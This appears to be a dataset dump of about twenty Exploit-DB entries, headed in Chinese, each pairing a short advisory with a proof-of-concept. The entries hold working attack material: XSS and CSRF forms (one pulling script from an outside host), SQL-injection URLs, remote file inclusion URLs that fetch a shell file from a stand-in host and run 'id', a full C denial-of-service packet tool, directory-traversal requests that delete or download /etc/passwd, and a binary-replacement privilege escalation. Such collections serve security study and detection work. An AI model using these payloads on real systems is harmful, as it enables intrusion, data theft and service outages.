QLWD/code_shield huggingface dataset:
标题: Apache Tomcat 6.0.13 - Host Manager Servlet Cross-Site Scripting EDB-ID: 30495 CVE: 2007-3386 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-08-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/25314/info

Apache Tomcat Host Manager Servlet is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to inject HTML and script code into the browser of an unsuspecting victim. The attacker may then steal cookie-based authentication credentials and launch other attacks.

Apache Tomcat 5.5.0 through 5.5.24 and 6.0.0 through 6.0.13 are affected. 

<form action="http://localhost:8080/host-manager/html/add" method="get"> <input type="hidden" NAME='name' VALUE="aaa"> <input type="hidden" NAME='aliases' VALUE="<script>alert()</script>"> <input type="submit"> </form> URL: https://www.exploit-db.com/exploits/30495
标题: Microsoft Internet Explorer 5.0.1 - Vector Markup Language 'VGX.dll' Remote Buffer Overflow EDB-ID: 30494 CVE: 2007-1749 类型: DOS 平台: WINDOWS 发布日期: 2007-08-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/25310/info

Microsoft Internet Explorer is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

This issue occurs when rendering VML (Vector Markup Language) graphics.

Attackers can leverage this issue to execute arbitrary code in the context of the currently logged-in user.

Successful attacks may facilitate the remote compromise of affected computers. Failed attacks will likely cause denial-of-service conditions. 

To exploit this issue, an attacker must entice an unsuspecting user to view a malicious HTML document.

A VML document containing the following construct pointing to a malicious compressed image file will trigger this issue:

<v:rect>
<v:imagedata src="http://www.example.com/compressed.emz">
</v:rect> URL: https://www.exploit-db.com/exploits/30494
标题: Microsoft XML Core Services 6.0 - SubstringData Integer Overflow EDB-ID: 30493 CVE: 2007-2223 类型: REMOTE 平台: WINDOWS 发布日期: 2007-08-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/25301/info

Microsoft XML Core Services is prone to an integer-overflow vulnerability because the application fails to ensure that integer values are not overrun.

Attackers can exploit this issue by enticing unsuspecting users to view malicious web content. Specially crafted scripts could issue requests to MSXML that trigger memory corruption.

Successfully exploiting this issue allows remote attackers to corrupt heap memory and execute arbitrary code in the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. 

//var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
//xmlDoc.loadXML("<dummy></dummy>");
//var txt = xmlDoc.createTextNode("huh");
//var out = txt.substringData(1,0x7fffffff); URL: https://www.exploit-db.com/exploits/30493
标题: Systrace - Multiple System Call Wrappers Concurrency Vulnerabilities EDB-ID: 30484 CVE: 2007-4305 类型: LOCAL 平台: BSD 发布日期: 2007-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/25258/info

Systrace is prone to multiple concurrency vulnerabilities due to its implementation of system call wrappers. This problem can result in a race condition between a user thread and the kernel.

Attackers can exploit these issues by replacing certain values in system call wrappers with malicious data to elevate privileges or to bypass auditing. Successful attacks can completely compromise affected computers. 

struct sockaddr_in *sa, restoresa;
/* Set up two addresses with INADDR_ANY. */
sa = fork_malloc(sizeof(*sa));
sa->sin_len = sizeof(*sa);
sa->sin_family = AF_INET;
sa->sin_addr.s_addr = INADDR_ANY;
sa->sin_port = htons(8888);
restoresa = *sa;
/* Create child to overwrite *sa after 500k cycles. */
pid = fork_and_overwrite_smp_afterwait(sa, &restoresa,
sizeof(restoresa), 500000);
error = bind(sock, sa, sizeof(*sa)); URL: https://www.exploit-db.com/exploits/30484
标题: Microsoft Internet Explorer 5.0.1 - 'TBLinf32.dll' ActiveX Control Remote Code Execution EDB-ID: 30490 CVE: 2007-2216 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/25289/info

The Microsoft Visual Basic 6 TypeLib Information Library (TLI) ActiveX control is prone to a remote code-execution vulnerability.

An attacker may exploit this issue by enticing victims into opening a maliciously crafted HTML document.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts will likely result in denial-of-service conditions. 

<object width=1000 height=20 classid="CLSID:<CLASSID>"
name=test></object>
x= test.TypeLibInfoFromFile("\\\\IPADDRESS\\SHARE\\remote.dll")
' Call the remote DLLGetDocumentation function
alert(x.Interfaces.Item(a).Members.Item(b).HelpString) URL: https://www.exploit-db.com/exploits/30490
标题: PHP-Stats 0.1.9.2 - 'WhoIs.php' Cross-Site Scripting EDB-ID: 30487 CVE: 2007-4334 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/25275/info

Php-Stats is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Php-Stats 0.1.9.2 is vulnerable; other versions may also be affected.

http://www.example.com/php-stats-path/whois.php?IP=[XSS] URL: https://www.exploit-db.com/exploits/30487
标题: SkilMatch Systems JobLister3 - 'index.php' SQL Injection EDB-ID: 30492 CVE: 2007-4359 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/25296/info

JobLister3 is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/index.php?mode=showbyID&jobid=99786'%20union%20all%20select%20something%20from%20something/*
http://www.example.com/index.php?mode=showbyID&jobid=99786'%20or%201=1/*
http://www.example.com/index.php?mode=showbyID&jobid=99786'%20order%20by%2016/* URL: https://www.exploit-db.com/exploits/30492
标题: ZYXEL ZyWALL 2 3.62 - '/Forms/General_1?sysSystemName' Cross-Site Scripting EDB-ID: 30485 CVE: 2007-4318 类型: REMOTE 平台: HARDWARE 发布日期: 2007-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/25262/info

ZyXEL ZyWALL 2 is prone to multiple remote vulnerabilities that affect the management interface.

An attacker can exploit these issues to carry out cross-site request forgery, HTML-injection, and denial-of-service attacks.

ZyWALL 2 running with firmware V3.62(WK.6) is reported vulnerable to this issue. 

 <html>
  <body onload="document.CSRF.submit()">
  <FORM name="CSRF" METHOD="POST"
ACTION="http://192.168.1.1/Forms/General_1">
  <INPUT NAME="sysSystemName" VALUE="<script src='http://nx.fi/X'>"
  <INPUT NAME="sysDomainName" VALUE="evil.com">
  <INPUT NAME="StdioTimout" VALUE="0">
  <INPUT NAME="sysSubmit" VALUE="Apply">
  </form>
  </body>
  </html> URL: https://www.exploit-db.com/exploits/30485
标题: OWASP Stinger - Filter Bypass EDB-ID: 30491 CVE: 2007-4385 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-08-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/25294/info

OWASP Stinger is prone to a filter-bypass weakness because the application fails to properly handle certain input.

Since the OWASP Stinger project is a software module designed to be incorporated into other applications, this weakness may be exploitable only if applications use it in a vulnerable way.

Successfully exploiting this issue may allow attackers to bypass the filter, aiding them in further attacks.

Versions prior to Stinger 2.5 are vulnerable to this issue. 

/*
 * Multipartify.java - Quick and dirty BeanShell for WebScarab to
 * convert urlencoded POST HTTP requests to multipart requests.
 *
 * Copyright (C) 2007 Meder Kydyraliev <meder@o0o.nu>
 *
 * http://o0o.nu/~meder
 *
 */
import org.owasp.webscarab.model.Request;
import org.owasp.webscarab.model.Response;
import org.owasp.webscarab.httpclient.HTTPClient;
import org.owasp.webscarab.model.NamedValue;
import org.owasp.webscarab.model.MultiPartContent;
import java.io.IOException;

public Response fetchResponse(HTTPClient nextPlugin, Request request) throws IOException {

 private static final String contentType = "multipart/form-data; boundary=o0oo0oo0oo0oo0oo0oo0o";
 private static final String boundary= "\r\n--o0oo0oo0oo0oo0oo0oo0o";
 private static final String contentDisp= "\r\nContent-Disposition: form-data; name=";

 if (request.getMethod().equals("POST") && request.getContent() != null) {
  String body = new String(request.getContent());
  StringBuffer newBody = new StringBuffer();
  NamedValue[] postParams = NamedValue.splitNamedValues(body, "&", "=");
  for (int ix=0; ix < postParams.length; ix++) {
   newBody.append(boundary + contentDisp + "\"" + postParams[ix].getName() + "\"\r\n\r\n" + postParams[ix].getValue() + " ");
  }
  newBody.append(boundary + "--\r\n");
  request.setHeader("Content-Type", contentType);
  request.setContent(newBody.substring(2).getBytes());
 }

 response = nextPlugin.fetchResponse(request);

 return response;
} URL: https://www.exploit-db.com/exploits/30491
标题: Lib2 PHP Library 0.2 - 'My_Statistics.php' Remote File Inclusion EDB-ID: 30486 CVE: 2007-4341 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/25274/info

Lib2 PHP Library is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Lib2 PHP Library 0.2 is vulnerable; other versions may also be affected.

http://www.example.com/adm/my_statistics.php?DOCUMENT_ROOT=http://www.example2.com/? URL: https://www.exploit-db.com/exploits/30486
标题: Zoidcom 0.6.x - Malformed Packet Denial of Service EDB-ID: 30497 CVE: 2007-4358 类型: DOS 平台: MULTIPLE 发布日期: 2007-08-14 漏洞利用脚本: // source: https://www.securityfocus.com/bid/25326/info

The Zoidcom network library is prone to a denial of service vulnerability when handling malformed packets.

An attacker could exploit this to crash a network service that is implemented with the library. 

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define sleep   Sleep
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
    #define stristr strcasestr
#endif



#define VER         "0.1"
#define PORT        8899

typedef uint8_t     u8;
typedef uint16_t    u16;
typedef uint32_t    u32;



u32 resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
  struct  sockaddr_in peer;
  int     sd,
    i;
  u16     port    = PORT;
  u8      buff[16];

#ifdef WIN32
  WSADATA    wsadata;
  WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

  setbuf(stdout, NULL);

  fputs("\n"
        "Zoidcom <= 0.6.7 crash "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

  if(argc < 2) {
    printf("\n"
            "Usage: %s <host> [port(%hu)]\n"
    "\n", argv[0], port);
    exit(1);
  }

  if(argc > 2) port = atoi(argv[2]);
  peer.sin_addr.s_addr = resolv(argv[1]);
  peer.sin_port        = htons(port);
  peer.sin_family      = AF_INET;

  printf("- target   %s : %hu\n",
  inet_ntoa(peer.sin_addr), port);

  sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  if(sd < 0) std_err();

  // the following is a classical join packet
  memcpy(buff,
  "\xec\x03\x00\x00\x00\x68\xc0\xff\xe9\x00\x80\x07\x00\x64\x00\x01", 16);

  buff[8] = 0x69;
  printf("- send malicious packet 0x%02x\n", buff[8]);
  for(i = 0; i < 2; i++) {
    if(sendto(sd, buff, 16, 0, (struct sockaddr *)&peer, sizeof(peer))
       < 0) std_err();
    sleep(0);
  }

  sleep(ONESEC);

  buff[8] = 0xa9;
  printf("- send malicious packet 0x%02x\n", buff[8]);
  for(i = 0; i < 2; i++) {
    if(sendto(sd, buff, 16, 0, (struct sockaddr *)&peer, sizeof(peer))
       < 0) std_err();
    sleep(0);
  }

  close(sd);

  printf("- the server should have been crashed, check it
  manually\n");
  return(0);
}



u32 resolv(char *host) {
  struct  hostent *hp;
  u32     host_ip;

  host_ip = inet_addr(host);
  if(host_ip == INADDR_NONE) {
    hp = gethostbyname(host);
    if(!hp) {
      printf("\nError: Unable to resolv hostname (%s)\n", host);
      exit(1);
    } else host_ip = *(u32 *)hp->h_addr;
  }
  return(host_ip);
}



#ifndef WIN32
void std_err(void) {
  perror("\nError");
  exit(1);
}
#endif URL: https://www.exploit-db.com/exploits/30497
标题: Shoutbox 1.0 - 'Shoutbox.php' Remote File Inclusion EDB-ID: 30479 CVE: 2007-4330 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/25254/info

Shoutbox is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Shoutbox 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/shoutbox.php?root=http://www.example2.com?cmd=id URL: https://www.exploit-db.com/exploits/30479
标题: Synology DSM 4.3-3810 - Directory Traversal EDB-ID: 30475 CVE: 2013-6987 类型: WEBAPPS 平台: CGI 发布日期: 2013-12-24 漏洞利用脚本: **************************************************************
Title: Synology DSM multiple directory traversal
Version affected: <= 4.3-3810
Vendor: Synology
Discovered by: Andrea Fabrizi
Email: andrea.fabrizi@gmail.com
Web: http://www.andreafabrizi.it
Twitter: @andreaf83
Status: patched
CVE: 2013-6987
**************************************************************

I'm again here with a Synology DSM vulnerability.

Synology DiskStation Manager (DSM) it's a Linux based operating
system, used for the DiskStation and RackStation products.

I found a lot of directory traversal in the FileBrowser components.
This kind of vulnerability allows any authenticated user, even if not
administrative, to access, create, delete, modify system and
configuration files.

The only countermeasure implemented against this vulnerability is the
check that the path starts with a valid shared folder, so is enough to
put the "../" straight after, to bypass the security check.

Vulnerables CGIs:
- /webapi/FileStation/html5_upload.cgi
- /webapi/FileStation/file_delete.cgi
- /webapi/FileStation/file_download.cgi
- /webapi/FileStation/file_sharing.cgi
- /webapi/FileStation/file_share.cgi
- /webapi/FileStation/file_MVCP.cgi
- /webapi/FileStation/file_rename.cgi

Not tested all the CGI, but I guess that many others are vulnerable,
so don't take my list as comprehensive.

Following some examples ("test" is a valid folder name):

- Delete /etc/passwd
===========================================
POST /webapi/FileStation/file_delete.cgi HTTP/1.1
Host: 192.168.56.101:5000
X-SYNO-TOKEN: XXXXXXXX
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 103
Cookie: stay_login=0; id=kjuYI0HvD92m6
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

path=/test/../../etc/passwd&accurate_progress=true&api=SYNO.FileStation.Delete&method=start&version=1
===========================================

- Arbitrary file download:
===========================================
GET /fbdownload/?dlink=2f746573742f2e2e2f2e2e2f6574632f706173737764 HTTP/1.1
Host: 192.168.56.101:5000
Connection: keep-alive
Authorization: Basic XXXXXXXX
===========================================

2f746573742f2e2e2f2e2e2f6574632f706173737764 -> /test/../../etc/passwd

- Remote file list:
=========================
POST /webapi/FileStation/file_share.cgi HTTP/1.1
Host: 192.168.56.101:5000
X-SYNO-TOKEN: XXXXXXXX
Content-Length: 75
Cookie: stay_login=0; id=f9EThJSyRaqJM; BCSI-CS-36db57a1c38ce2f6=2

folder_path=/test/../../tmp&api=SYNO.FileStation.List&method=list&version=1
==========================

Timeline:
- 05/12/2013: First contact with the vendor
- 06/12/2013: Vulnerability details sent to the vendor
- 20/12/2013: Patch released by the vendor URL: https://www.exploit-db.com/exploits/30475
标题: Bilder Galerie 1.0 - 'index.php' Remote File Inclusion EDB-ID: 30480 CVE: 2007-4328 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/25256/info

Bilder Galerie is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Bilder Galerie 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?config[root_ordner]=http://www.example2.com?cmd=id URL: https://www.exploit-db.com/exploits/30480
标题: Web News 1.1 - 'feed.php?config[root_ordner]' Remote File Inclusion EDB-ID: 30482 CVE: 2007-4329 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/25257/info
 
WebNews is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
WebNews 1.1 is vulnerable; other versions may also be affected.
 
http://www.example.com/feed.php?config[root_ordner]=http://www.example2.com/shell.txt?&cmd=id URL: https://www.exploit-db.com/exploits/30482
标题: Huawei Technologies du Mobile Broadband 16.0 - Local Privilege Escalation EDB-ID: 30477 CVE: 2014-8359 2014-8358 类型: LOCAL 平台: WINDOWS 发布日期: 2013-12-24 漏洞利用脚本: Huawei Technologies du Mobile Broadband 16.0 Local Privilege Escalation


Vendor: Huawei Technologies Co., Ltd.
Product Web Page: http://www.huawei.com
Affected version: 16.002.03.16.124

Summary: du Mobile Broadband is a shareware application for
du EITC UAE users to support mobile broadband (3G) activation
for du service provider with systems containing one of the
supported devices. It lets you access du wireless internet
wherever you are and whenever you need it, all powered through
your mobile data SIM or simply by connecting your 3G USB stick
to your device.

Desc: The application is vulnerable to an elevation of privileges
vulnerability which can be used by a simple user that can change
the executable file with a binary of choice. The vulnerability
exist due to the improper permissions, with the 'F' flag (full)
for the 'Everyone' and 'Users' group, for the 'du Mobile Broadband.exe'
binary file. The files are installed in the 'du Mobile Broadband'
directory which has the Everyone group assigned to it with full
permissions making every single file inside vulnerable to change
by any user on the affected machine. After you replace the binary
with your rootkit, on reboot you get SYSTEM privileges.

Tested on: Microsoft Windows 7 Ultimate (EN) 64bit


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5164
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5164.php



18.12.2013

---


C:\Program Files (x86)>cacls "du Mobile Broadband"
C:\Program Files (x86)\du Mobile Broadband Everyone:(OI)(CI)F
                                           BUILTIN\Users:(OI)(IO)F
                                           BUILTIN\Users:(CI)F
                                           NT SERVICE\TrustedInstaller:(ID)F
                                           NT SERVICE\TrustedInstaller:(CI)(IO)(ID)F
                                           NT AUTHORITY\SYSTEM:(ID)F
                                           NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
                                           BUILTIN\Administrators:(ID)F
                                           BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
                                           CREATOR OWNER:(OI)(CI)(IO)(ID)F


C:\Program Files (x86)>cd "du Mobile Broadband"

C:\Program Files (x86)\du Mobile Broadband>cacls "du Mobile Broadband.exe"
C:\Program Files (x86)\du Mobile Broadband\du Mobile Broadband.exe Everyone:F
                                                                   BUILTIN\Users:F
                                                                   NT AUTHORITY\SYSTEM:(ID)F
                                                                   BUILTIN\Administrators:(ID)F


C:\Program Files (x86)\du Mobile Broadband> URL: https://www.exploit-db.com/exploits/30477
标题: Web News 1.1 - 'news.php?config[root_ordner]' Remote File Inclusion EDB-ID: 30483 CVE: 2007-4329 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/25257/info
  
WebNews is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
WebNews 1.1 is vulnerable; other versions may also be affected.

http://www.example.com/news.php?config[root_ordner]=http://www.example2.com/shell.txt?&cmd=id URL: https://www.exploit-db.com/exploits/30483
标题: Web News 1.1 - 'index.php?config[root_ordner]' Remote File Inclusion EDB-ID: 30481 CVE: 2007-4329 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/25257/info

WebNews is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

WebNews 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?config[root_ordner]=http://www.example2.com/shell.txt?&cmd=id URL: https://www.exploit-db.com/exploits/30481
标题: File Uploader 1.1 - 'datei.php?config[root_ordner]' Remote File Inclusion EDB-ID: 30467 CVE: 2007-4327 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/25253/info
 
File Uploader is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
File Uploader 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/datei.php?config[root_ordner]=http://www.example2.com/shell.txt?&cmd=id URL: https://www.exploit-db.com/exploits/30467
标题: Mapos-Scripts.de Gastebuch 1.5 - 'index.php' Remote File Inclusion EDB-ID: 30465 CVE: 2007-4325 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/25252/info

Mapos-Scripts.de Gastebuch is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Gastebuch 1.5 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?config[root_ordner]=http://www.example2.com/shell.txt?&cmd=id URL: https://www.exploit-db.com/exploits/30465